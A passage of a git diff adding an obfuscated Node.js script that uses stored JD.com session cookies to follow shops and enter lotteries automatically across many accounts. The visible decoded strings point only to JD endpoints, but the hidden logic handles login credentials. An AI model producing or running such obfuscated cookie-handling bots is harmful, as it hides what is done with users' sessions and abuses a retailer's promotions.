s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_wxShopFollowActivity.js b/jd_wxShopFollowActivity.js new file mode 100755 index 0000000..7444597 --- /dev/null +++ b/jd_wxShopFollowActivity.js @@ -0,0 +1,40 @@ +/* +看脸活动 +https://lzkj-isv.isvjcloud.com//activity/xxx?activityId=xxx + +pinBlackLists 黑名单 pin , 多pin & 分开 +wxShopFollowActivity 活动id, 多活动 & 分开 +7 7 7 7 7 jd_wxShopFollowActivity.js +*/ +const $ = new Env('关注店铺抽奖'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let activityIdList = [ +] +let lz_cookie = {} +let pinBlackLists = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +if (process.env.pinBlackLists && process.env.pinBlackLists != "") { + pinBlackLists = process.env.pinBlackLists.split('&'); +} +if (process.env.wxShopFollowActivity && process.env.wxShopFollowActivity != "") { + activityIdList = process.env.wxShopFollowActivity.split('&'); +} +var _0xodX='jsjiami.com.v6',_0xodX_=['‮_0xodX'],_0x1288=[_0xodX,'WU1HUUE=','SVBRalM=','cnVYUlE=','RmxacWE=','ZG1Dbnk=','THhYaks=','YXF0bkc=','ZW5MdE8=','R3RKVnA=','Y1JiTUI=','Y2FNbHA=','cE1ycXg=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','SlpVZlg=','UFZvWEU=','eHhKZWE=','SmxSblg=','bEhLanI=','QUZpY0o=','alhDa00=','blpMU0s=','dXJEenA=','SWlWbUo=','UUxEZUo=','dlluenk=','bG9nRXJy','V1dzWkk=','dEFSZHE=','a1RrRGE=','R0hLQlc=','R3pOU1Q=','d3REVk4=','SmtNaG4=','V3BPS1g=','Z0lXaUk=','R2dPc2o=','cmVGTGQ=','R0VSTHA=','WkRnYU4=','T0laZWo=','THBOdEo=','THNUa2c=','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','5byA6LW356ysIA==','IOS4qua0u+WKqO+8jOa0u+WKqGlk77ya','TUhwc3Y=','S1BoRUY=','6buR5ZCN5Y2V6Lez6L+H','Qk1XVEk=','SXhNWHM=','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','TnJGamU=','5pyJ54K55YS/5pS26I63','RHJEZ3k=','S3NQQVY=','QlBqakI=','bXNn','bmFtZQ==','THVzcGc=','RHp4RkM=','ZWRQT3c=','bG9n','WEhEWkU=','d090bk0=','c1JuVk8=','VnBxU3Q=','bGVuZ3Ro','eWtLcGQ=','TkZWQUw=','YXppcEk=','VXNlck5hbWU=','eXdtUXk=','bWF0Y2g=','aW5kZXg=','ZVdqdGc=','aXNMb2dpbg==','bmlja05hbWU=','c2tOUFc=','aW5kZXhPZg==','VGlORWw=','aEl1VmI=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','cXpQeXE=','dkZmd2U=','U2Z4SnM=','TmpoYkM=','Zmxvb3I=','SG96YW4=','cmFuZG9t','cFJlRno=','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','aXNOb2Rl','c2VuZE5vdGlmeQ==','Y29va2ll5bey5aSx5pWIIC0g','Cuivt+mHjeaWsOeZu+W9leiOt+WPlmNvb2tpZQ==','YmVhbg==','QURJRA==','ZHJwbFE=','a3djbmU=','VVVJRA==','dElpTXA=','RW14Z3k=','YXV0aG9yTnVt','YWN0aXZpdHlJZA==','YWN0aXZpdHlVcmw=','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29tL3d4U2hvcEZvbGxvd0FjdGl2aXR5L2FjdGl2aXR5Lw==','P2FjdGl2aXR5SWQ9','JmFkc291cmNlPW51bGwmbG5nPTAwLjAwMDAwMCZsYXQ9MDAuMDAwMDAwJnNpZD0mdW5fYXJlYT0=','cXVFUU4=','CuOAkOS6rOS4nOi0puWPtw==','IAogICAgICAg4pSUIOiOt+W+lyA=','IOS6rOixhuOAgg==','RU9QdFo=','RlFhRG8=','WFRZUGI=','dXBHWk0=','cmVwbGFjZQ==','UXpucVU=','RExBd2g=','b2VzVXo=','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','Y3VzdG9tZXIvZ2V0U2ltcGxlQWN0SW5mb1Zv','a095R3I=','Y29tbW9uL2FjY2Vzc0xvZ1dpdGhBRA==','YWN0aXZpdHlDb250ZW50T25seQ==','MnwzfDB8MXw0','LT4g5oq95aWW','LT4g5YWz5rOo5bqX6ZO6','Zm9sbG93','Z2V0UHJpemU=','5pyq6IO95oiQ5Yqf6I635Y+W5Yiw5rS75Yqo5L+h5oGv','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi35L+h5oGv','c1VXa0M=','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi36Ym05p2D5L+h5oGv','dG9rZW4=','c2VjcmV0UGlu','dmVuZGVySWQ=','ZUtyb0U=','eGhFbVA=','UnJRY0s=','Y2VCalM=','YWN0aXZpdHlJZD0=','YWNoaFo=','b1FqaWQ=','a0xucmU=','SURPUmw=','dmVuZGVySWQ9','JmNvZGU9','YWN0aXZpdHlUeXBl','JnBpbj0=','aHhXVHQ=','JmFjdGl2aXR5SWQ9','JnBhZ2VVcmw9','JnN1YlR5cGU9YXBwJmFkU291cmNlPXRnX3h1YW5GdVR1Qmlhbw==','Ym94c2U=','RVFHTms=','YWN0aXZpdHlDb250ZW50','RlNLTWc=','c3BsaXQ=','d2FpdA==','eENFSE0=','U3hpVk8=','dU9rWWo=','emlrYVQ=','d214S3Q=','Ynl0aEU=','TU56WXM=','RGtRbUU=','YXBEek4=','R3ZzSWY=','VlJqSHQ=','cUVqRGs=','RWVablc=','TUZRSHk=','dWFXZnI=','VkRydHE=','aGVhZGVycw==','c2V0LWNvb2tpZQ==','d3hBc3NlbWJsZVBhZ2UvZ2V0RmxvYXRJY29uU3RhdHVz','5rS75Yqo5aWW5ZOBOiA=','TE5PR3Q=','ZE5aQWk=','Qm56Wk8=','RHpvYU4=','dnNaVW0=','cG9zdA==','dkxxbUw=','YmVTVkg=','a3VyeHI=','YUhIVGo=','SGF5QkI=','eEpYRks=','cGFyc2U=','QnBueVg=','cUtTV1E=','c3Vic3Ry','UlFmWUY=','a2V5cw==','TE9TSG8=','bUJGdnQ=','cmVzdWx0','VkNOVkU=','ZGF0YQ==','THpBWW4=','amRBY3Rpdml0eUlk','YWN0aXZpdHlTaG9wSWQ=','c2hvcElk','c09tcUU=','Vm1zaW4=','ZHJhd0NvbnRlbnRWT3M=','bFB3TXU=','YWRqbVQ=','ZldYTng=','c3RyaW5naWZ5','WG9ZQlU=','a0ZYWHo=','Y2Z4RHc=','b2hDYXA=','bHprai1pc3YuaXN2amNsb3VkLmNvbQ==','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29tbQ==','a2VlcC1hbGl2ZQ==','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29tLw==','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29tL3d4U2hvcEZvbGxvd0FjdGl2aXR5Lw==','Slh5eGc=','bFNNcWs=','b0hTcXg=','ZHFtWm4=','cmd1SHA=','WVZPZ2I=','U2Z6Q1g=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','V21GYVU=','UHF4ZVA=','YXpFY0Y=','WHB2RWw=','UGZ5S3I=','RXZDa0Q=','RHdJS2E=','V0VLTHQ=','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29t','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29tL2N1c3RvbWVyL2dldE15UGluZw==','eUpqckw=','ZGthRFM=','V0liZVA=','V2RvQnQ=','alBnckg=','R2dzcE8=','b1daSW0=','V0lkUlE=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUA==','TFlvZkk=','ekZhb3Y=','ZVBGREw=','Q0JpQlQ=','WlRQR1U=','ZXV5V1I=','Z1hHRng=','bnFCQ2I=','bUxYS2s=','Q3pyRnY=','REdvWXU=','SHRhUVo=','TXdUZXI=','RFFlWlQ=','a3lFSks=','b29YeWk=','eVhvVFQ=','VERpRUU=','VW54V2Y=','eXlsSnQ=','cFpXTVg=','S0RWU1M=','Qll5UFU=','Y29kZQ==','TVpnblE=','5L2g5aW977ya','bmlja25hbWU=','cGlu','RGd1V2s=','UHJ3SE4=','R3psZFU=','ZXJyb3JNZXNzYWdl','SUh0eHU=','Y1hsS2Q=','SnRHVHc=','MTAwMQ==','dXNlckluZm8=','ZGFxeHM=','Z0ROWVU=','SVZKVXc=','UWhYQWQ=','T2Nldlg=','UW5WZWw=','aUF0RnU=','Li9VU0VSX0FHRU5UUw==','SkRVQQ==','amRhcHA7aVBob25lOzkuNC40OzE0LjM7bmV0d29yay80ZztNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDE0XzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','T3V2eWo=','YkhNeko=','a1J3ekQ=','TkZZc2I=','aEZEdGU=','TmxxRm8=','cE5sTkY=','R1dzUUc=','ZmpmQW8=','Z2V0','ZW52','SkRfVVNFUl9BR0VOVA==','TW5nYm8=','Y2VhTWk=','VVNFUl9BR0VOVA==','Z2V0ZGF0YQ==','RHhNV1U=','U2xpcE8=','aWl5VU0=','TGRGWFA=','bExTWGg=','aUdqcWM=','Yk54UUU=','c0ZoZnM=','QUp2SVg=','RGh4VUY=','S3VmcHY=','UWdkSlQ=','enhzaWs=','QXR1Zkg=','Um1lVWI=','WU53aWM=','S3V0cUE=','YWpsWEc=','eUJiZ3k=','bW91Vmk=','ZFhaQlo=','UENrZHY=','Rmp5bko=','Tm55SGU=','WWFMSWk=','ZFRnb0o=','blBrWGo=','VGhlbGo=','a0tDZFE=','aEFEUng=','dVVlcUk=','UHd4ekE=','cmV0Y29kZQ==','ZEVUZ0M=','QnhMZU4=','aGFzT3duUHJvcGVydHk=','ZXlqZ0E=','YmFzZUluZm8=','b0lpV3U=','SFBWZWc=','YXBpLm0uamQuY29t','Ki8q','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','dEZYalk=','Z1dFWm0=','aGJsckM=','ZnBjWnE=','VVVnY0E=','b3RFY1A=','aU1tbXg=','Ym9keT0lN0IlMjJ1cmwlMjIlM0ElMjAlMjJodHRwcyUzQS8vbHpkejEtaXN2LmlzdmpjbG91ZC5jb20lMjIlMkMlMjAlMjJpZCUyMiUzQSUyMCUyMiUyMiU3RCZ1dWlkPTcyMTI0MjY1MjE3ZDQ4Yjc5NTU3ODEwMjRkNjViYmM0JmNsaWVudD1hcHBsZSZjbGllbnRWZXJzaW9uPTkuNC4wJnN0PTE2MjE3OTY3MDIwMDAmc3Y9MTIwJnNpZ249MTRmN2ZhYTMxMzU2Yzc0ZTlmNDI4OTk3MmRiNGI5ODg=','d3J3R0I=','SkNGcnk=','cXhndE8=','SHRLcm8=','RUx5Z3M=','S3dla1g=','VUNLcXk=','cWhBeVU=','dnhibVM=','VElGRHk=','VnRvbVo=','dEFtRWI=','ZVVOcHU=','dWplRmc=','cVZOcW8=','eGFIWUg=','U1dIS2Q=','eVR3VG8=','FDjseLjFMiXyXPfAuMIaBhmi.com.v6=='];if(function(_0x150c31,_0x4e3138,_0x57f483){function _0x12b46b(_0x4d66c5,_0x1e501f,_0x557458,_0x32e349,_0x1840d6,_0x119d30){_0x1e501f=_0x1e501f>>0x8,_0x1840d6='po';var _0x908ac='shift',_0x2561ca='push',_0x119d30='‮';if(_0x1e501f<_0x4d66c5){while(--_0x4d66c5){_0x32e349=_0x150c31[_0x908ac]();if(_0x1e501f===_0x4d66c5&&_0x119d30==='‮'&&_0x119d30['length']===0x1){_0x1e501f=_0x32e349,_0x557458=_0x150c31[_0x1840d6+'p']();}else if(_0x1e501f&&_0x557458['replace'](/[FDeLFMXyXPfAuMIBh=]/g,'')===_0x1e501f){_0x150c31[_0x2561ca](_0x32e349);}}_0x150c31[_0x2561ca](_0x150c31[_0x908ac]());}return 0xf6e0a;};return _0x12b46b(++_0x4e3138,_0x57f483)>>_0x4e3138^_0x57f483;}(_0x1288,0x1c2,0x1c200),_0x1288){_0xodX_=_0x1288['length']^0x1c2;};function _0x4b5d(_0x3b438b,_0x2ae19f){_0x3b438b=~~'0x'['concat'](_0x3b438b['slice'](0x1));var _0x514e13=_0x1288[_0x3b438b];if(_0x4b5d['YCAJdd']===undefined&&'‮'['length']===0x1){(function(){var _0x440477=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x27ab7d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x440477['atob']||(_0x440477['atob']=function(_0x5ae3dc){var _0x280904=String(_0x5ae3dc)['replace'](/=+$/,'');for(var _0x3b5d3d=0x0,_0x3933f1,_0x33901e,_0x5e1bd3=0x0,_0x5142f2='';_0x33901e=_0x280904['charAt'](_0x5e1bd3++);~_0x33901e&&(_0x3933f1=_0x3b5d3d%0x4?_0x3933f1*0x40+_0x33901e:_0x33901e,_0x3b5d3d++%0x4)?_0x5142f2+=String['fromCharCode'](0xff&_0x3933f1>>(-0x2*_0x3b5d3d&0x6)):0x0){_0x33901e=_0x27ab7d['indexOf'](_0x33901e);}return _0x5142f2;});}());_0x4b5d['LVmhZL']=function(_0x4bcb77){var _0x5a94b2=atob(_0x4bcb77);var _0x17d591=[];for(var _0x44d747=0x0,_0x355e1c=_0x5a94b2['length'];_0x44d747<_0x355e1c;_0x44d747++){_0x17d591+='%'+('00'+_0x5a94b2['charCodeAt'](_0x44d747)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x17d591);};_0x4b5d['BuIVSJ']={};_0x4b5d['YCAJdd']=!![];}var _0x5c810c=_0x4b5d['BuIVSJ'][_0x3b438b];if(_0x5c810c===undefined){_0x514e13=_0x4b5d['LVmhZL'](_0x514e13);_0x4b5d['BuIVSJ'][_0x3b438b]=_0x514e13;}else{_0x514e13=_0x5c810c;}return _0x514e13;};!(async()=>{var _0xc87f5d={'edPOw':function(_0x305cde){return _0x305cde();},'NjhbC':function(_0x153380,_0x470b73){return _0x153380+_0x470b73;},'Hozan':function(_0x12153a,_0x389e69){return _0x12153a*_0x389e69;},'pReFz':function(_0x5556a4,_0x52838a){return _0x5556a4-_0x52838a;},'QznqU':function(_0x49c2ec,_0x9a78b2){return _0x49c2ec|_0x9a78b2;},'DLAwh':function(_0x1f8d45,_0x3697fa){return _0x1f8d45==_0x3697fa;},'oesUz':function(_0x60fbed,_0x293acd){return _0x60fbed&_0x293acd;},'DrDgy':function(_0x2f0517,_0x34d9d5){return _0x2f0517!==_0x34d9d5;},'KsPAV':_0x4b5d('‮0'),'BPjjB':_0x4b5d('‫1'),'Luspg':_0x4b5d('‮2'),'DzxFC':_0x4b5d('‮3'),'XHDZE':function(_0x3671f0,_0x11220e){return _0x3671f0+_0x11220e;},'wOtnM':_0x4b5d('‫4'),'sRnVO':_0x4b5d('‮5'),'VpqSt':function(_0x171637,_0x4c3238){return _0x171637<_0x4c3238;},'ykKpd':function(_0x54e3f5,_0x311488){return _0x54e3f5===_0x311488;},'NFVAL':_0x4b5d('‫6'),'azipI':_0x4b5d('‫7'),'ywmQy':function(_0x3a2861,_0x1493d0){return _0x3a2861(_0x1493d0);},'eWjtg':function(_0x5772d9,_0x2099be){return _0x5772d9+_0x2099be;},'skNPW':function(_0x4f3566,_0x36c348){return _0x4f3566!=_0x36c348;},'TiNEl':function(_0x4e4d71,_0xa6452a){return _0x4e4d71+_0xa6452a;},'hIuVb':_0x4b5d('‫8'),'qzPyq':function(_0x4ec15f,_0x372029){return _0x4ec15f===_0x372029;},'vFfwe':_0x4b5d('‫9'),'SfxJs':_0x4b5d('‮a'),'drplQ':function(_0x13c026,_0x42e000,_0x241f86){return _0x13c026(_0x42e000,_0x241f86);},'kwcne':_0x4b5d('‮b'),'tIiMp':function(_0x48b1bf,_0x298cb3){return _0x48b1bf(_0x298cb3);},'Emxgy':_0x4b5d('‮c'),'quEQN':function(_0x5f05ac,_0x140be1){return _0x5f05ac>_0x140be1;},'EOPtZ':function(_0x3ae2b6,_0x1e29d9){return _0x3ae2b6!==_0x1e29d9;},'FQaDo':function(_0x936cdb,_0x373c91){return _0x936cdb===_0x373c91;},'XTYPb':_0x4b5d('‮d'),'upGZM':_0x4b5d('‮e')};if(!cookiesArr[0x0]){if(_0xc87f5d[_0x4b5d('‮f')](_0xc87f5d[_0x4b5d('‫10')],_0xc87f5d[_0x4b5d('‮11')])){$[_0x4b5d('‫12')]($[_0x4b5d('‮13')],_0xc87f5d[_0x4b5d('‮14')],_0xc87f5d[_0x4b5d('‫15')],{'open-url':_0xc87f5d[_0x4b5d('‫15')]});return;}else{_0xc87f5d[_0x4b5d('‮16')](resolve);}}for(let _0x482388 in activityIdList){activityId=activityIdList[_0x482388];console[_0x4b5d('‮17')](_0xc87f5d[_0x4b5d('‫18')](_0xc87f5d[_0x4b5d('‫18')](_0xc87f5d[_0x4b5d('‫18')](_0xc87f5d[_0x4b5d('‫19')],_0x482388),_0xc87f5d[_0x4b5d('‫1a')]),activityId));for(let _0x3da666=0x0;_0xc87f5d[_0x4b5d('‫1b')](_0x3da666,cookiesArr[_0x4b5d('‮1c')]);_0x3da666++){if(_0xc87f5d[_0x4b5d('‫1d')](_0xc87f5d[_0x4b5d('‫1e')],_0xc87f5d[_0x4b5d('‮1f')])){_0xc87f5d[_0x4b5d('‮16')](resolve);}else{if(cookiesArr[_0x3da666]){cookie=cookiesArr[_0x3da666];originCookie=cookiesArr[_0x3da666];newCookie='';$[_0x4b5d('‫20')]=_0xc87f5d[_0x4b5d('‮21')](decodeURIComponent,cookie[_0x4b5d('‫22')](/pt_pin=(.+?);/)&&cookie[_0x4b5d('‫22')](/pt_pin=(.+?);/)[0x1]);$[_0x4b5d('‫23')]=_0xc87f5d[_0x4b5d('‮24')](_0x3da666,0x1);$[_0x4b5d('‫25')]=!![];$[_0x4b5d('‫26')]='';if(_0xc87f5d[_0x4b5d('‫27')](pinBlackLists[_0x4b5d('‮28')]($[_0x4b5d('‫20')]),-0x1)){console[_0x4b5d('‮17')](_0xc87f5d[_0x4b5d('‮29')](_0xc87f5d[_0x4b5d('‫2a')],$[_0x4b5d('‫20')]));continue;}await _0xc87f5d[_0x4b5d('‮16')](checkCookie);console[_0x4b5d('‮17')](_0x4b5d('‮2b')+$[_0x4b5d('‫23')]+'】'+($[_0x4b5d('‫26')]||$[_0x4b5d('‫20')])+_0x4b5d('‮2c'));if(!$[_0x4b5d('‫25')]){if(_0xc87f5d[_0x4b5d('‮2d')](_0xc87f5d[_0x4b5d('‮2e')],_0xc87f5d[_0x4b5d('‫2f')])){return _0xc87f5d[_0x4b5d('‫30')](Math[_0x4b5d('‫31')](_0xc87f5d[_0x4b5d('‮32')](Math[_0x4b5d('‫33')](),_0xc87f5d[_0x4b5d('‮34')](max,min))),min);}else{$[_0x4b5d('‫12')]($[_0x4b5d('‮13')],_0x4b5d('‫35'),_0x4b5d('‫36')+$[_0x4b5d('‫23')]+'\x20'+($[_0x4b5d('‫26')]||$[_0x4b5d('‫20')])+_0x4b5d('‫37'),{'open-url':_0xc87f5d[_0x4b5d('‫15')]});if($[_0x4b5d('‫38')]()){await notify[_0x4b5d('‮39')]($[_0x4b5d('‮13')]+_0x4b5d('‮3a')+$[_0x4b5d('‫20')],_0x4b5d('‫36')+$[_0x4b5d('‫23')]+'\x20'+$[_0x4b5d('‫20')]+_0x4b5d('‮3b'));}continue;}}$[_0x4b5d('‮3c')]=0x0;$[_0x4b5d('‮3d')]=_0xc87f5d[_0x4b5d('‮3e')](getUUID,_0xc87f5d[_0x4b5d('‮3f')],0x1);$[_0x4b5d('‮40')]=_0xc87f5d[_0x4b5d('‫41')](getUUID,_0xc87f5d[_0x4b5d('‮42')]);$[_0x4b5d('‮43')]=''+_0xc87f5d[_0x4b5d('‮3e')](random,0xf4240,0x98967f);$[_0x4b5d('‫44')]=activityId;$[_0x4b5d('‮45')]=_0x4b5d('‫46')+$[_0x4b5d('‫44')]+_0x4b5d('‮47')+$[_0x4b5d('‫44')]+_0x4b5d('‮48');await _0xc87f5d[_0x4b5d('‮16')](wxShopFollow);if(_0xc87f5d[_0x4b5d('‫49')]($[_0x4b5d('‮3c')],0x0)){message+=_0x4b5d('‫4a')+$[_0x4b5d('‫23')]+'】'+($[_0x4b5d('‫26')]||$[_0x4b5d('‫20')])+_0x4b5d('‮4b')+$[_0x4b5d('‮3c')]+_0x4b5d('‮4c');}}}}}if(_0xc87f5d[_0x4b5d('‫4d')](message,'')){if($[_0x4b5d('‫38')]()){await notify[_0x4b5d('‮39')]($[_0x4b5d('‮13')],message,'','\x0a');}else{if(_0xc87f5d[_0x4b5d('‮4e')](_0xc87f5d[_0x4b5d('‮4f')],_0xc87f5d[_0x4b5d('‮4f')])){$[_0x4b5d('‫12')]($[_0x4b5d('‮13')],_0xc87f5d[_0x4b5d('‮50')],message);}else{return format[_0x4b5d('‫51')](/[xy]/g,function(_0x164153){var _0x3bbc84=_0xc87f5d[_0x4b5d('‫52')](_0xc87f5d[_0x4b5d('‮32')](Math[_0x4b5d('‫33')](),0x10),0x0),_0x25ec5c=_0xc87f5d[_0x4b5d('‮53')](_0x164153,'x')?_0x3bbc84:_0xc87f5d[_0x4b5d('‫52')](_0xc87f5d[_0x4b5d('‮54')](_0x3bbc84,0x3),0x8);if(UpperCase){uuid=_0x25ec5c[_0x4b5d('‫55')](0x24)[_0x4b5d('‮56')]();}else{uuid=_0x25ec5c[_0x4b5d('‫55')](0x24);}return uuid;});}}}})()[_0x4b5d('‮57')](_0x592ca2=>{$[_0x4b5d('‮17')]('','❌\x20'+$[_0x4b5d('‮13')]+_0x4b5d('‫58')+_0x592ca2+'!','');})[_0x4b5d('‫59')](()=>{$[_0x4b5d('‮5a')]();});async function wxShopFollow(){var _0x4c12c4={'eKroE':function(_0x1092ea){return _0x1092ea();},'VRjHt':_0x4b5d('‮5b'),'xhEmP':function(_0x319546){return _0x319546();},'RrQcK':function(_0x4438a3,_0x4db3ec,_0x2481d4,_0x382a30){return _0x4438a3(_0x4db3ec,_0x2481d4,_0x382a30);},'ceBjS':_0x4b5d('‮5c'),'achhZ':function(_0x2b327c){return _0x2b327c();},'oQjid':function(_0x51c11f,_0x259cc2){return _0x51c11f!==_0x259cc2;},'kLnre':_0x4b5d('‮5d'),'IDORl':_0x4b5d('‫5e'),'hxWTt':function(_0x30c17c,_0x2072dc){return _0x30c17c(_0x2072dc);},'boxse':function(_0x244aa4,_0x31ab7f,_0x2f5b76){return _0x244aa4(_0x31ab7f,_0x2f5b76);},'EQGNk':_0x4b5d('‮5f'),'FSKMg':_0x4b5d('‫60'),'xCEHM':_0x4b5d('‫61'),'SxiVO':_0x4b5d('‫62'),'uOkYj':_0x4b5d('‮63'),'zikaT':function(_0x3b6158,_0x2d2d21){return _0x3b6158(_0x2d2d21);},'wmxKt':function(_0x3ad662,_0xa6f174,_0x3e5427){return _0x3ad662(_0xa6f174,_0x3e5427);},'bythE':_0x4b5d('‮64'),'MNzYs':function(_0x400b03,_0x2731f8){return 